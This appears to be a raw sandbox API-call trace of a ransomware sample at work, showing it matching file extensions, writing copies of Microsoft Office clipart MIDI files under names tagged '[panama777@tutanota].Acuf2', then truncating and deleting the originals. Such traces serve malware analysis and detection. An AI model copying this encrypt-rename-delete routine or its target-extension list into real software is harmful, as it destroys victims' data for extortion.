	[0254.069] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.069] lstrlenW (lpString=".rar") returned 4
	[0254.069] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.069] lstrlenW (lpString=".bz2") returned 4
	[0254.069] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.069] lstrlenW (lpString=".7z") returned 3
	[0254.069] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString=".dbf") returned 4
	[0254.069] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString=".1cd") returned 4
	[0254.069] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString=".jpg") returned 4
	[0254.069] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString=".doc") returned 4
	[0254.069] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.069] lstrlenW (lpString=".docx") returned 5
	[0254.069] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.069] lstrlenW (lpString=".pdf") returned 4
	[0254.069] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.070] lstrlenW (lpString=".xls") returned 4
	[0254.070] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.070] lstrlenW (lpString=".xlsx") returned 5
	[0254.070] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.070] lstrlenW (lpString=".ppt") returned 4
	[0254.070] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.070] lstrlenW (lpString=".zip") returned 4
	[0254.070] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.070] lstrlenW (lpString=".rar") returned 4
	[0254.070] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.070] lstrlenW (lpString=".bz2") returned 4
	[0254.070] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.070] lstrlenW (lpString=".7z") returned 3
	[0254.070] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.070] lstrlenW (lpString=".dbf") returned 4
	[0254.070] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.070] lstrlenW (lpString=".1cd") returned 4
	[0254.070] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.070] lstrlenW (lpString=".jpg") returned 4
	[0254.070] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.071] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.071] lstrlenW (lpString="EXPLR_01.MID") returned 12
	[0254.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0254.071] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=10562) returned 1
	[0254.071] CloseHandle (hObject=0x28c) returned 1
	[0254.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20
	[0254.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0254.072] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.072] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.072] GetLastError () returned 0x0
	[0254.072] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2942, lpOverlapped=0x0) returned 1
	[0254.078] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2950, lpOverlapped=0x0) returned 1
	[0254.079] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.079] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.079] SetEndOfFile (hFile=0x338) returned 1
	[0254.080] CloseHandle (hObject=0x338) returned 1
	[0254.080] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.080] SetEndOfFile (hFile=0x28c) returned 1
	[0254.116] CloseHandle (hObject=0x28c) returned 1
	[0254.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1
	[0254.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.185] lstrlenW (lpString=".doc") returned 4
	[0254.186] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.186] lstrlenW (lpString=".docx") returned 5
	[0254.186] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.186] lstrlenW (lpString=".pdf") returned 4
	[0254.186] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.186] lstrlenW (lpString=".xls") returned 4
	[0254.186] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.186] lstrlenW (lpString=".xlsx") returned 5
	[0254.186] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.186] lstrlenW (lpString=".ppt") returned 4
	[0254.186] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.186] lstrlenW (lpString=".zip") returned 4
	[0254.186] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.186] lstrlenW (lpString=".rar") returned 4
	[0254.186] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.186] lstrlenW (lpString=".bz2") returned 4
	[0254.186] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.186] lstrlenW (lpString=".7z") returned 3
	[0254.186] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString=".dbf") returned 4
	[0254.187] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString=".1cd") returned 4
	[0254.187] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString=".jpg") returned 4
	[0254.187] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString=".doc") returned 4
	[0254.187] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.187] lstrlenW (lpString=".docx") returned 5
	[0254.187] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.187] lstrlenW (lpString=".pdf") returned 4
	[0254.187] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.187] lstrlenW (lpString=".xls") returned 4
	[0254.187] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.187] lstrlenW (lpString=".xlsx") returned 5
	[0254.187] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.187] lstrlenW (lpString=".ppt") returned 4
	[0254.187] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.187] lstrlenW (lpString=".zip") returned 4
	[0254.187] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.187] lstrlenW (lpString=".rar") returned 4
	[0254.187] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.187] lstrlenW (lpString=".bz2") returned 4
	[0254.187] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.188] lstrlenW (lpString=".7z") returned 3
	[0254.188] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.188] lstrlenW (lpString=".dbf") returned 4
	[0254.188] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.188] lstrlenW (lpString=".1cd") returned 4
	[0254.188] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63
	[0254.188] lstrlenW (lpString=".jpg") returned 4
	[0254.188] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.188] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.188] lstrlenW (lpString="FALL_01.MID") returned 11
	[0254.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.198] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=4846) returned 1
	[0254.198] CloseHandle (hObject=0x330) returned 1
	[0254.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20
	[0254.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.199] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.199] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0254.200] GetLastError () returned 0x0
	[0254.200] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x12ee, lpOverlapped=0x0) returned 1
	[0254.201] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x12f0, lpOverlapped=0x0) returned 1
	[0254.202] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.202] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0254.202] SetEndOfFile (hFile=0x28c) returned 1
	[0254.203] CloseHandle (hObject=0x28c) returned 1
	[0254.203] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.203] SetEndOfFile (hFile=0x330) returned 1
	[0254.206] CloseHandle (hObject=0x330) returned 1
	[0254.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1
	[0254.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.206] lstrlenW (lpString=".doc") returned 4
	[0254.206] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.206] lstrlenW (lpString=".docx") returned 5
	[0254.206] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.206] lstrlenW (lpString=".pdf") returned 4
	[0254.206] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.207] lstrlenW (lpString=".xls") returned 4
	[0254.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.207] lstrlenW (lpString=".xlsx") returned 5
	[0254.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.207] lstrlenW (lpString=".ppt") returned 4
	[0254.207] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.207] lstrlenW (lpString=".zip") returned 4
	[0254.207] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.207] lstrlenW (lpString=".rar") returned 4
	[0254.207] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.207] lstrlenW (lpString=".bz2") returned 4
	[0254.207] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.207] lstrlenW (lpString=".7z") returned 3
	[0254.207] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.207] lstrlenW (lpString=".dbf") returned 4
	[0254.207] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.207] lstrlenW (lpString=".1cd") returned 4
	[0254.207] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.207] lstrlenW (lpString=".jpg") returned 4
	[0254.207] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.208] lstrlenW (lpString=".doc") returned 4
	[0254.208] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.208] lstrlenW (lpString=".docx") returned 5
	[0254.208] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.208] lstrlenW (lpString=".pdf") returned 4
	[0254.208] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.208] lstrlenW (lpString=".xls") returned 4
	[0254.208] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.208] lstrlenW (lpString=".xlsx") returned 5
	[0254.208] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.208] lstrlenW (lpString=".ppt") returned 4
	[0254.208] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.208] lstrlenW (lpString=".zip") returned 4
	[0254.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.208] lstrlenW (lpString=".rar") returned 4
	[0254.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.208] lstrlenW (lpString=".bz2") returned 4
	[0254.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.208] lstrlenW (lpString=".7z") returned 3
	[0254.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.208] lstrlenW (lpString=".dbf") returned 4
	[0254.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.209] lstrlenW (lpString=".1cd") returned 4
	[0254.209] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62
	[0254.209] lstrlenW (lpString=".jpg") returned 4
	[0254.209] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.209] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.209] lstrlenW (lpString="FINCL_01.MID") returned 12
	[0254.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.210] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=12981) returned 1
	[0254.210] CloseHandle (hObject=0x330) returned 1
	[0254.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20
	[0254.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.210] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.210] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.216] GetLastError () returned 0x0
	[0254.216] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x32b5, lpOverlapped=0x0) returned 1
	[0254.278] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x32c0, lpOverlapped=0x0) returned 1
	[0254.279] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.279] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.279] SetEndOfFile (hFile=0x334) returned 1
	[0254.504] CloseHandle (hObject=0x334) returned 1
	[0254.504] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.504] SetEndOfFile (hFile=0x330) returned 1
	[0254.676] CloseHandle (hObject=0x330) returned 1
	[0254.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString=".doc") returned 4
	[0254.851] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.851] lstrlenW (lpString=".docx") returned 5
	[0254.851] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.851] lstrlenW (lpString=".pdf") returned 4
	[0254.851] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.851] lstrlenW (lpString=".xls") returned 4
	[0254.851] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.851] lstrlenW (lpString=".xlsx") returned 5
	[0254.851] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.851] lstrlenW (lpString=".ppt") returned 4
	[0254.851] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString=".zip") returned 4
	[0254.851] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.851] lstrlenW (lpString=".rar") returned 4
	[0254.851] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.851] lstrlenW (lpString=".bz2") returned 4
	[0254.851] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.851] lstrlenW (lpString=".7z") returned 3
	[0254.851] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString=".dbf") returned 4
